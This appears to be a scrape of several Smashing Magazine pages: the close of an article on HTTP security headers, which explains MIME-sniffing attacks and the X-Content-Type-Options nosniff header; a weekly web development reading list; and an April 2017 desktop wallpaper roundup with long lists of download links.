In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.

Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification14, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.

X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:

function requestHandler(req, res) { res.setHeader('X-Content-Type-Options','nosniff'); } 

Summary Link

In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.

Takeaways Link

  • Disable caching for confidential information using the Cache-Control header.
  • Enforce HTTPS using the Strict-Transport-Security header, and add your domain to Chrome’s preload list.
  • Make your web app more robust against XSS by leveraging the X-XSS-Protection header.
  • Block clickjacking using the X-Frame-Options header.
  • Leverage Content-Security-Policy to whitelist specific sources and endpoints.
  • Prevent MIME-sniffing attacks using the X-Content-Type-Options header.

Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!


(Disclaimer: The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)

Front page image credits: Pexels.com15.

(da, yk, al, il)

Footnotes Link

  1. 1 http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/
  2. 2 https://www.smashingmagazine.com/2013/06/building-a-responsive-web-application/
  3. 3 https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/
  4. 4 https://www.smashingmagazine.com/2010/10/common-security-mistakes-in-web-applications/
  5. 5 https://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/
  6. 6 https://www.ietf.org/
  7. 7 https://tools.ietf.org/html/rfc7234
  8. 8 https://jakearchibald.com/2016/caching-best-practices/
  9. 9 https://tools.ietf.org/html/rfc6797
  10. 10 https://hstspreload.org
  11. 11 https://www.ietf.org/rfc/rfc7034.txt
  12. 12 https://www.w3.org/TR/2016/WD-CSP3-20160901/
  13. 13 https://www.html5rocks.com/en/tutorials/security/content-security-policy/
  14. 14 https://fetch.spec.whatwg.org/#x-content-type-options-header
  15. 15 https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/

↑ Back to topTweet itShare on Facebook

Web Development Reading List #176: Safari 10.1, Prompt()-Deprecation, And Professional Pride

Web Development Reading List #176: Safari 10.1, Prompt()-Deprecation, And Professional Pride

What a busy week! To stay on top of things, let’s review what happened in the web development world the last few days — from browser vendors pushing new updates and building new JavaScript guidelines and security standards to why we as web professionals need to review our professional pride. How can we properly revoke certificates in browsers, for example? And how can we build accessibility into a style guide? Let’s take a look.

Further Reading on SmashingMag: Link

News Link

  • Safari 10.1 was announced a while ago already, and this week it finally came to Macs and iOS devices around the world. The new Safari version ships CSS Grid Layouts, fetch(), IndexedDB2.0, Custom Elements, Form Validation, Media Capture, and much more. You can read more about the new features and how to use them5 in detail on the WebKit blog.
  • Chromium is advising developers to not use alert(), confirm(), and prompt() methods in JavaScript anymore6, and, in the future, they might even deprecate sites that still use them. The suggestion is to use the Web Notification API instead, in the hope that its asynchronous nature will prevent it from being misused against users. As a nice side effect, using the API will also speed up browser performance significantly.
  • This week, Mozilla started with their Security/Binary Transparency7 project which allows third parties to verify that binaries from Mozilla match the original public source code exactly and also to check for its integrity. This is a huge step in open-source and binary app development that other applications out there would benefit from, too.
  • The Chromium project is implementing8 the WICG proposal of a Feature Policy9 (see launch status10), an interesting concept to complete other policies such as the Content Security Policy. By allowing site owners to explicitly allow or disallow browser features such as geolocation, webcam/microphone access and similar things, sites can better protect their users from exploits.
11
As a protection against compromised binaries, Mozilla’s Security/Binary Transparency project12 allows third parties to verify that all Firefox binaries are public. (Image credit13)

General Link

  • Jens Grochtdreis shared his thoughts on professional pride14, aiming at all the people who write JavaScript tutorials without focusing on the HTML or CSS. A bad practice that leads to incomplete and sometimes even false code examples that are then used in the wild.

Concept & Design Link

  • We all know the annoying overlays that prompt website visitors to take action — “sign up for the newsletter”, “like the page on Facebook”. Bureau of Programming now shares thoughts on why it was easier to get rid of annoying pop-up windows and why it’s up to us developers to not build annoying features15 if we want to make the web a useful, friendly place.
Pop-Up Modals16
Pop-up modals are annoying and make a site unnecessarily hard to use. Bureau of Programming summarized the dilemma and what we can do against it17.

Security Link

  • A new paper from a joint venture of universities and Akamai Technologies introduces CRLite, a scalable system for pushing all TLS revocations to all browsers18 (PDF, 1.3MB). Currently, no major browser fully checks for TLS/SSL certificate revocations, but that could be changing soon if vendors agree with this research paper and start implementing the system.

Accessibility Link

CSS/Sass Link

Going Beyond… Link

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation24 or share this resource with other people. You can learn more about the costs of the project here25. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/09/making-modal-windows-better-for-everyone/
  2. 2 https://www.smashingmagazine.com/2016/05/creating-a-living-style-guide-case-study/
  3. 3 https://www.smashingmagazine.com/2016/03/integrate-motion-design-animation-ux-workflow/
  4. 4 https://www.smashingmagazine.com/2013/10/smart-transitions-in-user-experience-design/
  5. 5 https://webkit.org/blog/7477/new-web-features-in-safari-10-1/
  6. 6 https://developers.google.com/web/updates/2017/03/dialogs-policy
  7. 7 https://wiki.mozilla.org/Security/Binary_Transparency
  8. 8 https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/uKO1CwiY3ts
  9. 9 https://wicg.github.io/feature-policy/
  10. 10 https://www.chromestatus.com/feature/5694225681219584
  11. 11 https://wiki.mozilla.org/Security/Binary_Transparency
  12. 12 https://wiki.mozilla.org/Security/Binary_Transparency
  13. 13 https://wiki.mozilla.org/Security/Binary_Transparency
  14. 14 https://medium.com/@Flocke/professional-pride-7b84287ae747
  15. 15 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  16. 16 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  17. 17 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  18. 18 http://www.ccs.neu.edu/home/cbw/static/pdf/larisch-oakland17.pdf
  19. 19 http://a11y-style-guide.com/style-guide/
  20. 20 https://developers.google.com/web/updates/2017/03/performant-expand-and-collapse
  21. 21 http://www.vox.com/energy-and-environment/2017/3/23/15028480/roadmap-paris-climate-goals
  22. 22 https://www.wired.com/2017/03/silicon-valley-rather-cure-death-make-life-worth-living/
  23. 23 http://www.niemanlab.org/2017/03/slower-structural-developments-that-shape-society-a-qa-with-de-correspondent-editor-rob-wijnberg/
  24. 24 https://wdrl.info/donate
  25. 25 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook

Blooming Colors And A Bit Of Magic: Wallpapers To Get Your Ideas Springing (April 2017 Edition)

367

April Food’s Day

“Prank your friends with caution.” — Designed by foodpanda Singapore381 from Singapore.

April Food’s Day382

We Could All Be Happy

“I believe that Earth is something that we take for granted. We need to start taking care of our home, after all if the Earth is not OK, we won’t be.” — Designed by Maria Keller406 from Mexico.

We Could All Be Happy407

Funshower

“I designed this wallpaper combining both the sunny and the rainy weather. April, here in Italy, is synonymous with flowers and fun, and we can enjoy the first hot days after winter; but it’s also damn rainy! So I just brought all together and made my ‘Funshower’, a funny pun!” — Designed by Stefano Marchini459 from Italy.

Funshower460

Happy Birthday Hans!

“April the 2nd is Hans Christian Andersen’s birthday. Hans is most famous for his magical fairy tales, such as ‘The Little Mermaid’, ‘The Princess and the Pea’ and ‘Thumbelina’. I always loved the tale of Thumbelina, so I created this wallpaper for Hans!” — Designed by Safia Begum496 from the United Kingdom.

Happy Birthday Hans!497

Idea Catalysts

“Design is a community. Each one of these creators found their way into my consciousness as idea-catalysts. This is my way of thanking them and so I’m excited to bring this set to the greater design community. However these are used, my aim is to pay tribute to these sixteen and drive baby-steppers to great inspirers.” — Designed by Juliane Bone517 from California.

Idea Catalysts518

The Kite Festival

“Every year, Washington DC’s Kite Festival is a welcome sight in spring. The National Mall is transformed by colorful serpents, butterflies, and homemade winged crafts and by the families who come from across the city to enjoy their aerial stunts over a picnic at the base of the Washington Monument.” — Designed by The Hannon Group562 from Washington, DC.

The Kite Festival563

Sweet Lovers

“The most beautiful flowers are in bloom around my neighborhood, and I get this little tune stuck in my head every time I go for a walk. I thought it would be perfect for a bright watercolor-styled design!” — Designed by Alyson Sherrard585 from Pensacola, Florida.

Sweet Lovers586

Bad Bunny

“This bad bunny is just waiting for Easter. :)” — Designed by Izabela600 from Poland.

Bad Bunny601

The Brighter Side Of Life

“Sometimes when you are out and about you see something that captures your attention. It does not have to be anything spectacular, but you know that you want to remember it at that specific point in time. No matter how busy you are, stop and see the flowers.” — Designed by Kris G613 from the USA.

The Brighter Side Of Life614

Spring Is In The Air

“‘When all the world appears to be in a tumult, and nature itself is feeling the assault of climate change, the seasons retain their essential rhythm. Yes, fall gives us a premonition of winter, but then, winter, will be forced to relent, once again, to the new beginnings of soft greens, longer light, and the sweet air of spring.‘ (Madeleine M. Kunin)” — Designed by Dipanjan Karmakar632 from India.

Spring Is In The Air633

Spring Proverb

“My calendar is an illustration of the old proverb ‘April showers bring May flowers’. I always look forward to the end of that transition.” — Designed by Caitey Kennedy651 from the United States.

Spring Proverb652

Home Sweet Home

“A smiling earth is how I wish to think of my home planet. I like to believe that whenever a plantling gets its root deep into the soil, or when a dolphin jumps out of the water, the earth must be getting tickled, bringing a wide grin on its face. So this World Earth Day, let’s promote afforestation, protect the wildlife and its habitat. Let’s make the earth smile forever.” — Designed by Acodez IT Solutions674 from India.

Home Sweet Home675

Happy Chickens

“When I think of spring, I think of little chickens playing in the field. They always look so happy. I just bought 3 new little chickens, and they are super cute. So enjoy this wallpaper, and enjoy spring.” — Designed by Melissa Bogemans719 from Belgium.

Happy Chickens720

Spring Magic

“Spring revives nature, so I designed a wallpaper with a cute little fairy who awakens plants.” — Designed by Hushlenko Antonina762 from Ukraine.

Spring Magic763

Tea Time

“April showers bring May flowers, and what better way to enjoy rainy weather than to get stuck in a surreal book, in a comfy nook, with a kettle of tea!” — Designed by Brooke Coraldi807 from the United States.

Tea Time808

Flowers On The Wall

“It is time for more colour in our life! After this cold and dark winter, we have to paint our minds or better our walls. Flower power everywhere!” — Designed by Sabrina Lobien848144 from Germany.

Flowers On The Wall849

What Does The Fox Say?

Designed by Doud – Elise Vanoorbeek861 from Belgium.

What Does The Fox Say?862

April’s Octave

“April is magical. April is musical. April is mesmerizing. April is the International Month of Guitar. Let this calendar make it special.” — Designed by ColorMean Creative Studio884 from Dubai, United Arab Emirates

April’s Octave885

New Beginnings

“Spring is a great time to photograph nature because everything is green and full of new life. Like spring, a sunrise is also the start of something new.” — Designed by Marc Andre929 from the United States.

New Beginnings930

Join In Next Month! Link

Please note that we respect and carefully consider the ideas and motivation behind each and every artist’s work. This is why we give all artists the full freedom to explore their creativity and express emotions and experience throughout their works. This is also why the themes of the wallpapers weren’t anyhow influenced by us, but rather designed from scratch by the artists themselves.

A big thank you to all designers for their participation. Join in next month974!

What’s Your Favorite? Link

What’s your favorite theme or wallpaper for this month? Please let us know in the comment section below.

Footnotes Link

  1. 1 https://www.smashingmagazine.com/tag/wallpapers/
  2. 2 https://www.smashingmagazine.com/desktop-wallpaper-calendars-join-in/
  3. 3 https://www.smashingmagazine.com/easter-wallpaper/
  4. 4 https://www.smashingmagazine.com/2008/07/50-remarkable-nature-wallpapers/
  5. 5 https://www.smashingmagazine.com/2009/05/fantastic-wallpapers-that-will-blow-your-desktop-away/
  6. 6 https://www.smashingmagazine.com/2016/11/how-to-create-a-dramatic-vector-illustration/
  7. 7 http://www.popwebdesign.net/index_eng.html
  8. 8 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/apr-17-april-is-the-nicest-month-full.jpg
  9. 9 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/apr-17-april-is-the-nicest-month-preview.jpg
  10. 10 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-320×480.jpg
  11. 11 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-640×480.jpg
  12. 12 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-800×480.jpg
  13. 13 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-800×600.jpg
  14. 14 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1024×768.jpg
  15. 15 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1024×1024.jpg
  16. 16 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1152×864.jpg
  17. 17 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×720.jpg
  18. 18 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×800.jpg
  19. 19 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×960.jpg
  20. 20 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×1024.jpg
  21. 21 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1400×1050.jpg
  22. 22 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1440×900.jpg
  23. 23 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1600×1200.jpg
  24. 24 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1680×1050.jpg
  25. 25 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1680×1200.jpg
  26. 26 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1080.jpg
  27. 27 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1200.jpg
  28. 28 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1440.jpg
  29. 29 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-2560×1440.jpg
  30. 30 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-320×480.jpg
  31. 31 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-640×480.jpg
  32. 32 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-800×480.jpg
  33. 33 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-800×600.jpg
  34. 34 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1024×768.jpg
  35. 35 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1024×1024.jpg
  36. 36 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1152×864.jpg
  37. 37 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×720.jpg
  38. 38 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×800.jpg
  39. 39 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×960.jpg
  40. 40 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×1024.jpg
  41. 41 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1400×1050.jpg
  42. 42 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1440×900.jpg
  43. 43 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1600×1200.jpg
  44. 44 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1680×1050.jpg
  45. 45 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1680×1200.jpg
  46. 46 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1080.jpg
  47. 47 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1200.jpg
  48. 48 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1440.jpg
  49. 49 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-2560×1440.jpg
  50. 50 https://izagrzegorczyk.tumblr.com/
  51. 51 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/apr-17-colors-of-april-full.jpg
  52. 52 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/apr-17-colors-of-april-preview.jpg
  53. 53 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1366×768.jpg
  54. 54 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1600×1200.jpg
  55. 55 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1680×1050.jpg
  56. 56 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1920×1200.jpg
  57. 57 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-2560×1440.jpg
  58. 58 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1366×768.jpg
  59. 59 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1600×1200.jpg
  60. 60 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1680×1050.jpg
  61. 61 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1920×1200.jpg
  62. 62 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-2560×1440.jpg
  63. 63 https://www.creitive.com/
  64. 64 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/apr-17-april-insignia-full.png
  65. 65 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/apr-17-april-insignia-preview.png
  66. 66 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-320×480.png
  67. 67 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-640×480.png
  68. 68 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-800×480.png
  69. 69 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-800×600.png
  70. 70 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1024×768.png
  71. 71 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1024×1024.png
  72. 72 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1152×864.png
  73. 73 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1280×720.png
  74. 74 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1280×800.png
  75. 75 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1280×960.png
  76. 76 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1280×1024.png
  77. 77 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1400×1050.png
  78. 78 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1440×900.png
  79. 79 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1600×1200.png
  80. 80 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1680×1050.png
  81. 81 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1680×1200.png
  82. 82 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1920×1080.png
  83. 83 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1920×1200.png
  84. 84 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-1920×1440.png
  85. 85 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/cal/apr-17-april-insignia-cal-2560×1440.png
  86. 86 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-320×480.png
  87. 87 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-640×480.png
  88. 88 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-800×480.png
  89. 89 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-800×600.png
  90. 90 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1024×768.png
  91. 91 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1024×1024.png
  92. 92 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1152×864.png
  93. 93 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1280×720.png
  94. 94 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1280×800.png
  95. 95 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1280×960.png
  96. 96 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1280×1024.png
  97. 97 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1400×1050.png
  98. 98 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1440×900.png
  99. 99 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1600×1200.png
  100. 100 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1680×1050.png
  101. 101 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1680×1200.png
  102. 102 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1920×1080.png
  103. 103 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1920×1200.png
  104. 104 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-1920×1440.png
  105. 105 http://files.smashingmagazine.com/wallpapers/apr-17/april-insignia/nocal/apr-17-april-insignia-nocal-2560×1440.png
  106. 106 http://www.susanchiang.com/
  107. 107 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/apr-17-springtime-sage-full.png
  108. 108 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/apr-17-springtime-sage-preview.png
  109. 109 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-320×480.png
  110. 110 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1024×768.png
  111. 111 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1280×800.png
  112. 112 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1280×1024.png
  113. 113 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1400×900.png
  114. 114 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1680×1200.png
  115. 115 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1920×1200.png
  116. 116 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/cal/apr-17-springtime-sage-cal-1920×1440.png
  117. 117 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-320×480.png
  118. 118 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1024×768.png
  119. 119 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1280×800.png
  120. 120 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1280×1024.png
  121. 121 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1400×900.png
  122. 122 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1680×1200.png
  123. 123 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1920×1200.png
  124. 124 http://files.smashingmagazine.com/wallpapers/apr-17/springtime-sage/nocal/apr-17-springtime-sage-nocal-1920×1440.png
  125. 125 https://www.flipsnack.com/
  126. 126 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/apr-17-be-happy-bee-full.jpg
  127. 127 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/apr-17-be-happy-bee-preview.jpg
  128. 128 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-640×1136.jpg
  129. 129 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1024×768.jpg
  130. 130 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1280×800.jpg
  131. 131 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1280×1024.jpg
  132. 132 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1366×768.jpg
  133. 133 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1920×1080.jpg
  134. 134 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-1920×1200.jpg
  135. 135 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/cal/apr-17-be-happy-bee-cal-2560×1440.jpg
  136. 136 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/nocal/apr-17-be-happy-bee-nocal-640×1136.jpg
  137. 137 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/nocal/apr-17-be-happy-bee-nocal-1024×768.jpg
  138. 138 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/nocal/apr-17-be-happy-bee-nocal-1280×800.jpg
  139. 139 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/nocal/apr-17-be-happy-bee-nocal-1280×1024.jpg
  140. 140 http://files.smashingmagazine.com/wallpapers/apr-17/be-happy-bee/nocal/apr-17-be-happy-bee-nocal-1366×768.jpg
